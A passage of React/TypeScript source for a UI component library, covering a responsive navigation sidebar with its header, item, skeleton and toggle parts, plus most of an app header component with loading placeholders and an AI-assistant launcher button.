tree.\n *\n * `lg:` still governs desktop either way: it is emitted after `md:`, so an\n * overlay left open while the window widens does not leak into the desktop width.\n */\nconst SIDEBAR_TABLET_WIDTH = { rail: 'md:w-14', overlay: 'md:w-56' } as const\n\n/** A click the browser will resolve itself — new tab, new window, middle button. */\nconst isModifiedClick = (event?: React.MouseEvent): boolean =>\n  !!event && (event.metaKey || event.ctrlKey || event.shiftKey || event.altKey || event.button !== 0)\n\nexport interface NavigationSidebarProps {\n  config: NavigationSidebarConfig\n  /**\n   * When true, all navigation items are disabled and visually dimmed.\n   * The collapse/expand toggle button remains interactive.\n   */\n  disabled?: boolean\n}\n\nexport function NavigationSidebar({ config, disabled = false }: NavigationSidebarProps) {\n  const isMdUp = useMdUp() ?? false\n  const isLgUp = useLgUp() ?? false\n\n  // Tablet = md viewport but not lg. On tablet the sidebar floats over the\n  // content area (overlay) instead of pushing it like on desktop.\n  const isTablet = isMdUp && !isLgUp\n\n  // Desktop preference persists across sessions. Tablet state is in-memory\n  // only so entering tablet always starts minimized without clobbering the\n  // user's desktop choice.\n  const [desktopMinimized, setDesktopMinimized] = useLocalStorage<boolean>(\n    STORAGE_KEY,\n    config.minimized ?? false,\n  )\n  const [tabletMinimized, setTabletMinimized] = useState(true)\n\n  useEffect(() => {\n    if (isTablet) setTabletMinimized(true)\n  }, [isTablet])\n\n  // `useLocalStorage` reads the store SYNCHRONOUSLY in its initializer, so on the\n  // hydration render it already knows a preference the server could not. Anything\n  // derived from it — labels, `aria-hidden`, the chevron, the placeholder rows —\n  // then differs from the server's HTML, and React throws out the whole tree and\n  // regenerates it. So until hydration is done, this renders the server's answer\n  // and nothing else.\n  //\n  // That costs nothing visually. The width is already correct at that point (it\n  // comes from the seeded CSS var, not from here), and at the minimized width\n  // every label is a `flex-1` in a rail with no room to give — zero-wide whatever\n  // this says. What flips on the next commit is opacity and margin on boxes that\n  // were never visible.\n  const [hydrated, setHydrated] = useState(false)\n  useEffect(() => setHydrated(true), [])\n\n  const minimized = hydrated ? (isTablet ? tabletMinimized : desktopMinimized) : (config.minimized ?? false)\n\n  // Enable transitions only after the correct width is painted\n  const [transitionsEnabled, setTransitionsEnabled] = useState(false)\n\n  const isOverlayOpen = isTablet && !minimized\n\n  const showLabel = !minimized\n\n  const handleToggle = useCallback(() => {\n    if (isTablet) {\n      setTabletMinimized(prev => !prev)\n    } else {\n      setDesktopMinimized(prev => !prev)\n    }\n    config.onToggleMinimized?.()\n  }, [isTablet, setDesktopMinimized, config])\n\n  const closeOverlay = useCallback(() => {\n    setTabletMinimized(true)\n  }, [])\n\n  // Dismiss the tablet overlay with Escape so it behaves like a transient panel\n  useEffect(() => {\n    if (!isOverlayOpen) return\n    const handleKeyDown = (e: KeyboardEvent) => {\n      if (e.key === 'Escape') closeOverlay()\n    }\n    document.addEventListener('keydown', handleKeyDown)\n    return () => document.removeEventListener('keydown', handleKeyDown)\n  }, [isOverlayOpen, closeOverlay])\n\n  // The entry the user just clicked, held until the route commits.\n  //\n  // PENDING IS NOT ACTIVE, and keeping the two apart is the whole point. Active\n  // means \"this is the page you are on\" — it carries the accent bar and\n  // `aria-current=\"page\"`, and it stays derived from the pathname, so it is\n  // never asserted before it is true. Pending only means \"this is the one you\n  // clicked\": a click deserves an answer, but the answer must not be a claim\n  // about where you are. Folding pending into active would light the accent on\n  // a section still loading and announce it as the current page to a screen\n  // reader — a statement that is simply false until the router says otherwise.\n  const [pendingItemId, setPendingItemId] = useState<string | null>(null)\n  const committedActiveId = useMemo(\n    () => config.items.find(item => item.isActive)?.id ?? null,\n    [config.items],\n  )\n\n  // Any committed change clears it — including one that landed somewhere else\n  // entirely (a redirect, a link elsewhere on the page). A navigation that never\n  // commits leaves a faint hold on the row it started from; because pending is\n  // only ever a soft hint, that costs nothing but a stale hover-weight tint,\n  // where a stale ACTIVE state would have been a lie about the current page.\n  useEffect(() => {\n    setPendingItemId(null)\n  }, [committedActiveId])\n\n  const handleItemClick = useCallback((item: NavigationSidebarItem, event?: React.MouseEvent) => {\n    event?.stopPropagation()\n\n    if (item.onClick) {\n      item.onClick()\n      if (isTablet) setTabletMinimized(true)\n      return\n    }\n\n    if (!item.path) return\n\n    // ⌘/Ctrl/Shift-click and middle-click open the link somewhere else. THIS\n    // window is not going anywhere, so the browser is left to it: no\n    // preventDefault, no optimistic highlight, no closing the tablet overlay.\n    // Entries render as real anchors precisely so those gestures work at all.\n    if (isModifiedClick(event)) return\n\n    // A plain click stays the host's to perform, through `onNavigate` exactly\n    // as before — the anchor is here for the href (Next prefetches links in the\n    // viewport) and for the browser affordances, not to take over routing.\n    //\n    // `onNavigate` is optional, though, and with no host router there is nothing\n    // to hand the click to: swallowing it would leave a real anchor, with a real\n    // href, that does nothing at all. So the guard is on having somewhere to\n    // send it — otherwise the anchor navigates on its own and we only close the\n    // overlay behind it.\n    if (config.onNavigate) {\n      event?.preventDefault()\n      // Re-clicking the page you are already on starts no navigation, so there\n      // is nothing to mark — and nothing would ever clear it, since the\n      // committed active id is not about to change.\n      if (item.id !== committedActiveId) setPendingItemId(item.id)\n      config.onNavigate(item.path)\n    }\n\n    if (isTablet) setTabletMinimized(true)\n  }, [config, isTablet, committedActiveId])\n\n  const { primaryItems, secondaryItems } = useMemo(() => ({\n    primaryItems: config.items.filter(item => item.section !== 'secondary'),\n    secondaryItems: config.items.filter(item => item.section === 'secondary'),\n  }), [config.items])\n\n  // Placeholder rows while the host cannot know its entries yet — see\n  // `NavigationSidebarConfig.loading`. Only the ROWS are stood in for: the header,\n  // the collapse toggle, the widths and the tablet overlay all behave exactly as\n  // when loaded, so this is the loaded rail with unknown contents rather than a\n  // separate skeleton sidebar to keep in sync.\n  const loadingRows = useMemo(() => {\n    if (!config.loading) return null\n    const primary = config.loadingRows?.primary ?? 7\n    const secondary = config.loadingRows?.secondary ?? 2\n    return {\n      primary: Array.from({ length: Math.max(0, primary) }, (_, i) => `primary-${i}`),\n      secondary: Array.from({ length: Math.max(0, secondary) }, (_, i) => `secondary-${i}`),\n    }\n  }, [config.loading, config.loadingRows?.primary, config.loadingRows?.secondary])\n\n  const sidebarWidth = useMemo(\n    () => (minimized ? `${MINIMIZED_WIDTH}px` : `${EXPANDED_WIDTH}px`),\n    [minimized],\n  )\n\n  // Published to CSS from an EFFECT, never from render. Before hydration the\n  // width belongs to whatever seeded `NAVIGATION_SIDEBAR_WIDTH_VAR` in `<head>`\n  // — put it in the markup instead and it becomes part of what React hydrates,\n  // which is precisely what cannot agree across the server boundary. Afterwards\n  // this is what a toggle moves.\n  useIsomorphicLayoutEffect(() => {\n    document.documentElement.style.setProperty(NAVIGATION_SIDEBAR_WIDTH_VAR, sidebarWidth)\n  }, [sidebarWidth])\n\n  // There used to be an `isHydrated` gate here — `isMdUp !== undefined && ...`\n  // — meant to hold the sidebar's contents back until the media queries\n  // resolved. It could never be false: the `?? false` above had already\n  // swallowed the `undefined` it tested for. Removed rather than repaired,\n  // because repairing it would be the regression: the contents are server-\n  // rendered today, and gating them behind a client-only media query would\n  // trade a first paint of the real navigation for an empty rail.\n  useIsomorphicLayoutEffect(() => {\n    if (!transitionsEnabled) {\n      const id = requestAnimationFrame(() => {\n        setTransitionsEnabled(true)\n      })\n      return () => cancelAnimationFrame(id)\n    }\n  }, [transitionsEnabled])\n\n  return (\n    <>\n      {/* Backdrop scrim — only visible on tablet while the overlay is open */}\n      <div\n        className={cn(\n          \"fixed inset-0 z-[40] bg-ods-overlay\",\n          \"hidden md:block lg:hidden\",\n          \"transition-opacity duration-300\",\n          isOverlayOpen ? \"opacity-100\" : \"opacity-0 pointer-events-none\",\n        )}\n        onClick={closeOverlay}\n        aria-hidden=\"true\"\n      />\n\n      {/* Flex-flow placeholder — reserves the collapsed 56px slot on tablet so\n          the main content keeps its position while the sidebar floats above it.\n          Rendered unconditionally and scoped by classes for the same reason the\n          geometry is: gated on `isTablet`, it was missing from the server HTML\n          and from the first client paint — exactly when the sidebar it\n          compensates for has already gone `absolute`. */}\n      <div className=\"h-full hidden md:block lg:hidden w-14 flex-shrink-0\" aria-hidden=\"true\" />\n\n      <aside\n        className={cn(\n          SIDEBAR_CONTAINER,\n          \"flex-col hidden md:flex flex-shrink-0\",\n          \"bg-ods-card border-r border-ods-border\",\n          SIDEBAR_GEOMETRY_CLASSES,\n          // The one width a viewport cannot imply: an overlay the user opened on\n          // tablet. Only ever true after a click, so the first paint always gets\n          // the rail.\n          isOverlayOpen ? SIDEBAR_TABLET_WIDTH.overlay : SIDEBAR_TABLET_WIDTH.rail,\n          transitionsEnabled && \"transition-[width] duration-300\",\n          config.className,\n        )}\n        aria-label=\"Main navigation sidebar\"\n      >\n        <NavigationSidebarHeader minimized={minimized} />\n\n        <div className=\"flex-1 flex flex-col justify-between py-4 overflow-y-auto\">\n          {/* The top slot and the primary nav are ONE `justify-between` child.\n              As siblings they would be three, and the spare space would open\n              between the slot and the nav instead of between the two navs. */}\n          <div className=\"flex flex-col\">\n            {config.topSlot?.({ minimized })}\n\n            {/* `aria-busy` on the nav, not the rows: the region is what is loading,\n                and each placeholder row is already `aria-hidden`. */}\n            <nav className=\"flex flex-col\" aria-label=\"Primary navigation\" aria-busy={!!loadingRows}>\n              {loadingRows\n                ? loadingRows.primary.map(key => (\n                    <NavigationSidebarItemSkeleton key={key} showLabel={showLabel} />\n                  ))\n                : primaryItems.map(item => (\n                    <NavigationSidebarItemButton\n                      key={item.id}\n                      item={item}\n                      isActive={item.id === committedActiveId}\n                      isPending={item.id === pendingItemId}\n                      showLabel={showLabel}\n                      disabled={disabled}\n                      onClick={handleItemClick}\n                    />\n                  ))}\n            </nav>\n          </div>\n\n          {(loadingRows ? loadingRows.secondary.length > 0 : secondaryItems.length > 0) && (\n            <nav className=\"flex flex-col\" aria-label=\"Secondary navigation\" aria-busy={!!loadingRows}>\n              {loadingRows\n                ? loadingRows.secondary.map(key => (\n                    <NavigationSidebarItemSkeleton key={key} showLabel={showLabel} />\n                  ))\n                : secondaryItems.map(item => (\n                    <NavigationSidebarItemButton\n                      key={item.id}\n                      item={item}\n                      isActive={item.id === committedActiveId}\n                      isPending={item.id === pendingItemId}\n                      showLabel={showLabel}\n                      disabled={disabled}\n                      onClick={handleItemClick}\n                    />\n                  ))}\n            </nav>\n          )}\n        </div>\n\n        <NavigationSidebarToggle\n          minimized={minimized}\n          showLabel={showLabel}\n          onToggle={handleToggle}\n        />\n      </aside>\n    </>\n  )\n}\n","\"use client\"\n\nimport { cn } from '../../utils'\nimport { OpenFrameLogo, OpenFrameText } from '../icons'\n\nexport interface NavigationSidebarHeaderProps {\n  minimized: boolean\n}\n\nexport function NavigationSidebarHeader({ minimized }: NavigationSidebarHeaderProps) {\n  return (\n    <div className=\"flex items-center justify-start h-14 p-[var(--spacing-system-m)] border-b border-ods-border\">\n      <div className=\"flex-shrink-0\">\n        <OpenFrameLogo\n          className=\"w-6 h-6\"\n          upperPathColor=\"var(--color-text-primary)\"\n          lowerPathColor=\"var(--color-accent-primary)\"\n        />\n      </div>\n\n      <div\n        className={cn(\n          \"flex-1 min-w-0 overflow-hidden transition-[opacity,margin-left] duration-300\",\n          minimized ? \"opacity-0 ml-0\" : \"opacity-100 ml-[var(--spacing-system-xs)]\",\n        )}\n        aria-hidden={minimized}\n      >\n        <OpenFrameText textColor=\"var(--color-text-primary)\" />\n      </div>\n    </div>\n  )\n}\n","\"use client\"\n\nimport { cloneElement, memo, type ReactElement, type ReactNode } from 'react'\nimport Link from '../../embed-shims/next-link'\nimport { NavigationSidebarItem } from '../../types/navigation'\nimport { cn } from '../../utils'\nimport { UnreadDot } from './unread-dot'\n\ninterface IconProps {\n  color?: string\n  className?: string\n}\n\nexport interface NavigationSidebarItemButtonProps {\n  item: NavigationSidebarItem\n  /** \"You are on this page\" — pathname-derived, and the only thing that carries `aria-current`. */\n  isActive: boolean\n  /**\n   * \"You clicked this one and it has not arrived yet\" — deliberately a separate,\n   * weaker state. Never promoted to active: the accent belongs to the page you\n   * are actually on.\n   */\n  isPending: boolean\n  showLabel: boolean\n  disabled: boolean\n  onClick: (item: NavigationSidebarItem, event?: React.MouseEvent) => void\n}\n\n/**\n * One sidebar entry.\n *\n * Rendered as a real anchor whenever it has a `path` — which is what buys the\n * two things a `<button>` + `router.push` cannot: Next prefetches links that\n * are in the viewport (so the section is usually already loaded by the time it\n * is clicked, instead of every first visit paying a cold segment fetch), and\n * the browser's own affordances work — middle-click, ⌘/Ctrl-click, \"open in new\n * tab\", copy link, and a status-bar URL on hover.\n *\n * Falls back to a `<button>` for entries that only carry an `onClick` (no\n * destination to link to) and for the disabled state, which an anchor cannot\n * express.\n */\nexport const NavigationSidebarItemButton = memo(function NavigationSidebarItemButton({\n  item,\n  isActive,\n  isPending,\n  showLabel,\n  disabled,\n  onClick,\n}: NavigationSidebarItemButtonProps) {\n  const unreadCount = item.unreadCount ?? 0\n  const hasUnread = unreadCount > 0\n\n  const className = cn(\n    \"w-full flex items-center justify-start relative\",\n    \"h-14 p-[var(--spacing-system-m)]\",\n    // 150ms, not 300: the outgoing and incoming entries cross-fade, so for the\n    // whole duration TWO rows read as half-active. At 300ms that window is long\n    // enough to look like a flicker rather than a transition.\n    \"transition-colors duration-150\",\n    \"[&_svg]:transition-colors [&_svg]:duration-150\",\n    \"before:content-[''] before:absolute before:left-0 before:top-0 before:bottom-0 before:w-1\",\n    \"before:transition-colors before:duration-150\",\n    // Pending borrows the HOVER weight and nothing else — no accent bar, no\n    // accent text, no `aria-current`. It says \"this row is working\", not \"this\n    // is where you are\", and it reads as the row staying pressed under the\n    // cursor, which is exactly what happened.\n    !isActive && !disabled && \"hover:bg-ods-bg-hover text-ods-text-primary [&_svg]:fill-ods-text-secondary\",\n    !isActive && !disabled && isPending && \"bg-ods-bg-hover\",\n    !isActive && disabled && \"text-ods-text-secondary [&_svg]:fill-ods-text-secondary\",\n    isActive && !disabled && [\n      \"bg-[var(--ods-open-yellow-light)] text-ods-accent\",\n      \"[&_svg]:fill-ods-accent\",\n      \"before:bg-ods-accent\",\n    ],\n    isActive && disabled && \"text-ods-text-secondary [&_svg]:fill-ods-text-secondary\",\n    disabled && \"cursor-not-allowed opacity-50\",\n  )\n\n  const content: ReactNode = (\n    <>\n      <div className=\"relative flex items-center justify-center flex-shrink-0\">\n        {cloneElement(item.icon as ReactElement<IconProps>, {\n          color: isActive && !disabled ? \"text-ods-accent\" : \"text-ods-text-secondary\",\n        })}\n        {hasUnread && !showLabel && <UnreadDot size=\"fixed\" />}\n      </div>\n\n      <span\n        className={cn(\n          \"text-h4 flex-1 text-left truncate transition-[opacity,margin-left] duration-300\",\n          showLabel ? \"opacity-100 ml-[var(--spacing-system-xs)]\" : \"opacity-0 ml-0\",\n        )}\n        aria-hidden={!showLabel}\n      >\n        {item.label}\n      </span>\n\n      {hasUnread && showLabel && (\n        <span className=\"bg-ods-accent flex items-center justify-center flex-shrink-0 p-2 rounded-md size-6\">\n          <span className=\"text-h5 text-ods-text-on-accent\">\n            {unreadCount > 99 ? '99+' : unreadCount}\n          </span>\n        </span>\n      )}\n    </>\n  )\n\n  const shared = {\n    className,\n    title: !showLabel ? item.label : undefined,\n    'aria-label': item.label,\n    'aria-current': isActive ? ('page' as const) : undefined,\n  }\n\n  // An entry with a custom onClick has no destination of its own, and a\n  // disabled one must not be followable — both stay buttons.\n  if (disabled || !item.path || item.onClick) {\n    return (\n      <button type=\"button\" onClick={(event) => onClick(item, event)} disabled={disabled} {...shared}>\n        {content}\n      </button>\n    )\n  }\n\n  return (\n    <Link href={item.path} onClick={(event) => onClick(item, event)} {...shared}>\n      {content}\n    </Link>\n  )\n})\n\n/**\n * One placeholder entry, for `NavigationSidebarConfig.loading`.\n *\n * Deliberately in this file, beside `NavigationSidebarItemButton`: the two must\n * agree on `h-14`, the `p-[var(--spacing-system-m)]` inset, the 24px icon box and\n * the label column, or the nav resizes on the handoff. Same reason\n * `header-skeleton.tsx` sits beside `header.tsx`.\n *\n * `showLabel` is the sidebar's own minimized state, so the caller passes what it\n * already passes the real row — no separate width handling.\n */\nexport function NavigationSidebarItemSkeleton({ showLabel }: { showLabel: boolean }) {\n  return (\n    <div className=\"w-full flex items-center justify-start h-14 p-[var(--spacing-system-m)]\" aria-hidden=\"true\">\n      <div className=\"relative flex items-center justify-center flex-shrink-0\">\n        <div className=\"h-6 w-6 animate-pulse rounded bg-ods-border\" />\n      </div>\n      {showLabel && <div className=\"h-4 flex-1 ml-[var(--spacing-system-xs)] animate-pulse rounded bg-ods-border\" />}\n    </div>\n  )\n}\n","\"use client\"\n\nimport { cn } from '../../utils'\nimport { Chevrons03LeftIcon } from '../icons-v2-generated'\n\nexport interface NavigationSidebarToggleProps {\n  minimized: boolean\n  showLabel: boolean\n  onToggle: () => void\n}\n\nexport function NavigationSidebarToggle({\n  minimized,\n  showLabel,\n  onToggle,\n}: NavigationSidebarToggleProps) {\n \n  return (\n    <div className=\"border-t border-ods-border\">\n      <button\n        onClick={onToggle}\n        className={cn(\n          \"w-full flex items-center justify-start relative\",\n          \"h-14 p-[var(--spacing-system-m)]\",\n          \"transition-colors duration-300\",\n          \"[&_svg]:transition-colors [&_svg]:duration-300\",\n          \"hover:bg-ods-bg-hover text-ods-text-primary\",\n        )}\n        title={minimized ? \"Hide Menu\" : undefined}\n        aria-label={\"Hide Menu\"}\n      >\n        <div className=\"flex items-center justify-center flex-shrink-0\">\n          {/* Direction follows the rail's measured width (the `of-nav-sidebar`\n              container declared in `navigation-sidebar.tsx`), not `minimized`:\n              before hydration that prop can only carry the server's answer, and\n              a chevron pointing the wrong way in a 56px rail is the one piece of\n              sidebar state a user actually notices arriving late.\n\n              Collapsed is the default because container queries are min-width —\n              the rail is narrower than every threshold, so it needs no query of\n              its own. */}\n          <Chevrons03LeftIcon className=\"rotate-180 @[140px]/of-nav-sidebar:rotate-0 text-ods-text-secondary w-6 h-6 transition-transform duration-300\" />\n        </div>\n\n        <span\n          className={cn(\n            \"text-h4 flex-1 text-left truncate transition-[opacity,margin-left] duration-300\",\n            showLabel ? \"opacity-100 ml-[var(--spacing-system-xs)]\" : \"opacity-0 ml-0\",\n          )}\n          aria-hidden={!showLabel}\n        >\n          Hide Menu\n        </span>\n      </button>\n    </div>\n  )\n}\n","'use client';\n\nimport React from 'react';\nimport { useMdUp } from '../../hooks/ui/use-media-query';\nimport { cn } from '../../utils/cn';\nimport { useOptionalNotifications } from '../features/notifications/notifications-context';\nimport { TimeTrackerHeaderButton } from '../features/time-tracker';\nimport { LogOutIcon, OpenFrameLogo, OpenFrameText, UserIcon } from '../icons';\nimport { Menu01Icon, SearchIcon, XmarkIcon } from '../icons-v2-generated';\nimport { BellIcon } from '../icons-v2-generated/interface/bell-icon';\nimport { DropdownMenu, DropdownMenuContent, DropdownMenuItem, DropdownMenuTrigger, SquareAvatar } from '../ui';\nimport { HeaderButton } from './header-button';\nimport { HeaderGlobalSearch } from './header-global-search';\nimport { TicketAlertsButton } from './ticket-alerts-button';\nimport { HeaderMingoButton } from './header-mingo-button';\nimport { HeaderOrganizationFilter } from './header-organization-filter';\nimport { TopNavigation } from './top-navigation';\n\nexport interface AppHeaderProps {\n  showSearch?: boolean;\n  onSearch?: (query: string) => void;\n  showOrganizations?: boolean;\n  organizations?: { id: string; name: string }[];\n  selectedOrgId?: string;\n  onOrgChange?: (id: string) => void;\n  showNotifications?: boolean;\n  unreadCount?: number;\n  /** Render the support-ticket alerts cell (`TicketAlertsButton`).\n   *  Attention-only: even when true it renders nothing unless a\n   *  `<TicketLiveProvider>` is mounted, the viewer is signed in, AND\n   *  there are unread support replies. */\n  showTicketAlerts?: boolean;\n  /** BASE path of the tickets surface (any nesting prefix allowed —\n   *  '/help-center/tickets', '/support/portal/tickets'). The cell builds\n   *  the SSOT deep link `<href>?ticket=<id>` for the newest-unread\n   *  ticket before navigating. */\n  ticketAlertsHref?: string;\n  /** Host navigation (router push) — receives the FULL computed href.\n   *  Defaults to `window.location.assign`. */\n  onTicketAlerts?: (href: string) => void;\n  /** Render the time-tracker button + popup. Requires wrapping the app in `<TimeTrackerProvider>`. */\n  showTimeTracker?: boolean;\n  /** Render the \"Mingo AI\" launcher button (drawer-style trigger for an\n   *  in-layout `AppLayoutDrawer` hosting the chat panel). Defaults to off. */\n  showMingoAI?: boolean;\n  /** Click handler for the Mingo AI button — typically toggles the drawer. */\n  onMingoAI?: () => void;\n  /** Whether the Mingo drawer is currently open (visually pressed state). */\n  isMingoAIActive?: boolean;\n  // User block\n  showUser?: boolean;\n  userName?: string;\n  userEmail?: string;\n  userAvatarUrl?: string | null;\n  onProfile?: () => void;\n  onLogout?: () => void;\n  className?: string;\n  /** Whether the mobile menu is open */\n  isMobileMenuOpen: boolean;\n  /** Callback to toggle mobile menu */\n  onToggleMobileMenu?: () => void;\n  /**\n   * When true, all header controls are disabled and visually dimmed\n   * EXCEPT the mobile burger menu toggle, which remains interactive.\n   */\n  disabled?: boolean;\n  /**\n   * Draw placeholder cells instead of the live controls.\n   *\n   * Solves a problem this header cannot solve on its own: its mobile/desktop split\n   * is decided by `useMdUp()`, which answers `undefined` until an effect has run —\n   * and `?? false` turns that into \"mobile\". The first render is therefore always\n   * the phone header (burger + wordmark, no side actions), which on a desktop load\n   * is a visible flash before the real layout appears. It is also what a host has\n   * to show while the user and the action flags are still loading.\n   *\n   * The placeholder decides mobile vs desktop in CSS instead, so it is correct at\n   * every width on the very first paint, server-rendered included.\n   */\n  loading?: boolean;\n  /**\n   * Shape of the trailing action cells `loading` reserves.\n   *\n   * Needed because the `show*` props are usually the very thing the host is still\n   * waiting on — they are typically driven by feature flags or permissions, so during\n   * `loading` they all read `false` and the placeholder collapses to whatever is\n   * hardcoded on (often just the avatar), which looks nothing like the loaded header.\n   *\n   * Pass the cells the header settles on, in order — see `HeaderLoadingCell` for the\n   * footprints. A bare number is accepted as shorthand for all-`'icon'`.\n   *\n   * Unlike the sidebar's rows, a cell that turns out not to exist is cheap here: the\n   * cells are a right-aligned cluster in otherwise empty space, so one disappearing\n   * shifts nothing else on the page.\n   *\n   * Defaults to the shape implied by the `show*` props, which is right for a host whose\n   * header composition is known up front.\n   */\n  loadingActionCells?: number | ReadonlyArray<HeaderLoadingCell>;\n}\n\n/**\n * A trailing header cell's footprint while loading — see `loadingActionCells`.\n *\n * The breakpoint-scoped members exist because several live cells are themselves\n * responsive, and a placeholder that ignores that is wider than the header it hands\n * off to on exactly the viewports where the cluster is tightest:\n *\n * - `'icon'` — a fixed 48/56px cell at every width (time tracker, notifications).\n * - `'icon-md'` — the same cell, from md only (the avatar: `isMdUp && showUser`).\n * - `'icon-lg'` — the same cell, from lg only (the organization filter, which the\n *   live header renders `hidden lg:flex`).\n * - `'wide'` — the Mingo launcher: a 48px square below md, where the live button is\n *   `iconOnly`, and the fixed 140px labelled cell from md.\n */\nexport type HeaderLoadingCell = 'icon' | 'icon-md' | 'icon-lg' | 'wide';\n\nexport const AppHeader = React.memo(function AppHeader({\n  showSearch,\n  onSearch,\n  showOrganizations,\n  organizations = [],\n  selectedOrgId,\n  onOrgChange,\n  showNotifications,\n  unreadCount = 0,\n  showTicketAlerts = false,\n  ticketAlertsHref,\n  onTicketAlerts,\n  showTimeTracker = false,\n  showMingoAI = false,\n  onMingoAI,\n  isMingoAIActive = false,\n  showUser,\n  userName,\n  userEmail,\n  userAvatarUrl,\n  onProfile,\n  onLogout,\n  className,\n  isMobileMenuOpen,\n  onToggleMobileMenu,\n  disabled = false,\n  loading = false,\n  loadingActionCells,\n}: AppHeaderProps) {\n  const isMdUp = useMdUp() ?? false;\n\n  // After the only hook above, so the hook order is identical in both branches.\n  if (loading) {\n    return (\n      <AppHeaderSkeleton\n        showSearch={showSearch}\n        actionCells={\n          loadingActionCells ??\n          // Fallback: what the `show*` props imply, in the order the live cells are\n          // mounted below. Only correct for a host that knows its header composition\n          // before it starts loading. The cell types carry each control's own\n          // breakpoint — the organization filter is `hidden lg:flex`, the avatar is\n          // gated on `isMdUp`, and Mingo is `iconOnly` below md.\n          ([\n            showOrganizations && 'icon-lg',\n            showTimeTracker && 'icon',\n            showNotifications && 'icon',\n            showTicketAlerts && 'icon',\n            showUser && 'icon-md',\n            showMingoAI && 'wide',\n          ].filter(Boolean) as HeaderLoadingCell[])\n        }\n        className={className}\n      />\n    );\n  }\n\n  const dimmedClass = disabled ? 'pointer-events-none opacity-50' : '';\n  // Cells carry their own dividers in the unified TopNavigation model\n  // (the shell no longer applies divide-x).\n  const cellDivider = 'border-l border-ods-border';\n\n  return (\n    <TopNavigation\n      className={cn('sticky top-0 z-40', className)}\n      centerBreakpoint=\"md\"\n      leading={\n        // Mobile: Burger Menu Button\n        !isMdUp && (\n          <HeaderButton\n            onClick={onToggleMobileMenu}\n            isActive={isMobileMenuOpen}\n            icon={isMobileMenuOpen ? <XmarkIcon className=\"w-6 h-6\" /> : <Menu01Icon className=\"w-6 h-6\" />}\n            aria-label={isMobileMenuOpen ? 'Close menu' : 'Open menu'}\n            aria-expanded={isMobileMenuOpen}\n            className=\"border-r border-ods-border\"\n          />\n        )\n      }\n      logo={\n        !isMdUp && (\n          <>\n            <OpenFrameLogo\n              className=\"w-6 h-6 shrink-0\"\n              upperPathColor=\"var(--color-text-primary)\"\n              lowerPathColor=\"var(--color-accent-primary)\"\n            />\n            <OpenFrameText textColor=\"var(--color-text-primary)\" className=\"h-4\" />\n          </>\n        )\n      }\n      logoClassName=\"gap-2\"\n      center={showSearch ? <HeaderGlobalSearch onSubmit={onSearch} className={cn('w-full', dimmedClass)} /> : undefined}\n      sideActions={\n        <>\n          {/* Mobile: Search button */}\n          {showSearch && (\n            <HeaderButton\n              icon={<SearchIcon className=\"w-6 h-6\" />}\n              aria-label=\"Search\"\n              className={cn('md:hidden', cellDivider, dimmedClass)}\n              disabled={disabled}\n            />\n          )}\n\n          {/* Desktop: Organizations filter (carries its own border-l) */}\n          {showOrganizations && (\n            <HeaderOrganizationFilter\n              organizations={organizations}\n              selectedOrgId={selectedOrgId}\n              onOrgChange={onOrgChange}\n              className={cn('hidden lg:flex', dimmedClass)}\n            />\n          )}\n\n          {/* Time tracker button */}\n          {showTimeTracker && <TimeTrackerHeaderButton disabled={disabled} className={cn(cellDivider, dimmedClass)} />}\n\n          {/* Notifications button */}\n          {showNotifications && (\n            <NotificationsHeaderButton\n              fallbackUnreadCount={unreadCount}\n              disabled={disabled}\n              dimmedClass={cn(cellDivider, dimmedClass)}\n            />\n          )}\n\n          {/* Support-ticket alerts (Help Center) — attention-only: renders\n              nothing unless there are unread replies (and a\n              <TicketLiveProvider> is mounted). */}\n          {showTicketAlerts && (\n            <TicketAlertsButton\n              href={ticketAlertsHref ?? '/tickets'}\n              onNavigate={onTicketAlerts}\n              disabled={disabled}\n              className={cn(cellDivider, dimmedClass)}\n            />\n          )}\n\n          {isMdUp && showUser && (\n            <DropdownMenu>\n              <DropdownMenuTrigger asChild disabled={disabled}>\n                <HeaderButton\n                  icon={\n                    <SquareAvatar\n                      src={userAvatarUrl || undefined}\n                      alt={userName || 'User'}\n                      size=\"sm\"\n                      variant=\"round\"\n                      className=\"shrink-0 w-8 h-8 md:w-10 md:h-10\"\n                    />\n                  }\n                  aria-label=\"User\"\n                  disabled={disabled}\n                  className={cn(\n                    'outline-none ring-0 focus:outline-none focus:ring-0 focus-visible:outline-none focus-visible:ring-0',\n                    cellDivider,\n                    dimmedClass,\n                  )}\n                />\n              </DropdownMenuTrigger>\n              <DropdownMenuContent\n                align=\"end\"\n                // z-[104] — above the in-layout AppLayoutDrawer panel (z-[103]) so the\n                // user menu stays clickable while the Mingo AI drawer is open\n                className=\"w-[280px] p-0 bg-ods-bg border-ods-border rounded-[6px] overflow-hidden z-[104]\"\n              >\n                {/* User info header section */}\n                <div className=\"bg-ods-card border-b border-ods-border p-3 flex items-center gap-2\">\n                  <SquareAvatar\n                    src={userAvatarUrl || undefined}\n                    alt={userName || 'User'}\n                    size=\"sm\"\n                    variant=\"round\"\n                    className=\"shrink-0\"\n                  />\n                  <div className=\"flex-1 min-w-0\">\n                    {userName && <div className=\"text-h4 text-ods-text-primary truncate\">{userName}</div>}\n                    {userEmail && <div className=\"text-h6 text-ods-text-secondary truncate\">{userEmail}</div>}\n                  </div>\n                </div>\n\n                {/* Menu items */}\n                <DropdownMenuItem\n                  onClick={onProfile}\n                  className=\"bg-ods-card border-b border-ods-border rounded-none px-3 py-3 hover:bg-ods-card/80 focus:bg-ods-card/80 cursor-pointer\"\n                >\n                  <div className=\"flex items-center gap-2\">\n                    <UserIcon className=\"h-6 w-6 text-ods-text-primary shrink-0\" />\n                    <span className=\"text-h4 text-ods-text-primary\">Profile Settings</span>\n                  </div>\n                </DropdownMenuItem>\n\n                <DropdownMenuItem\n                  onClick={onLogout}\n                  className=\"bg-ods-card rounded-none px-3 py-3 hover:bg-ods-card/80 focus:bg-ods-card/80 cursor-pointer\"\n                >\n                  <div className=\"flex items-center gap-2\">\n                    <LogOutIcon className=\"text-ods-error shrink-0\" size={24} />\n                    <span className=\"text-h4 text-ods-text-primary\">Log Out</span>\n                  </div>\n                </DropdownMenuItem>\n              </DropdownMenuContent>\n            </DropdownMenu>\n          )}\n\n          {/* Mingo AI launcher — anchored at the very end of the header. On mobile\n          it collapses to an icon-only affordance (no \"Mingo AI\" wordmark). */}\n          {showMingoAI && (\n            <HeaderMingoButton\n              onClick={onMingoAI}\n              isActive={isMingoAIActive}\n              iconOnly={!isMdUp}\n              disabled={disabled || !onMingoAI}\n              className={cn(cellDivider, dimmedClass)}\n            />\n          )}\n        </>\n      }\n    />\n  );\n});\n\ninterface NotificationsHeaderButtonProps {\n  fallbackUnreadCount: number;\n  disabled: 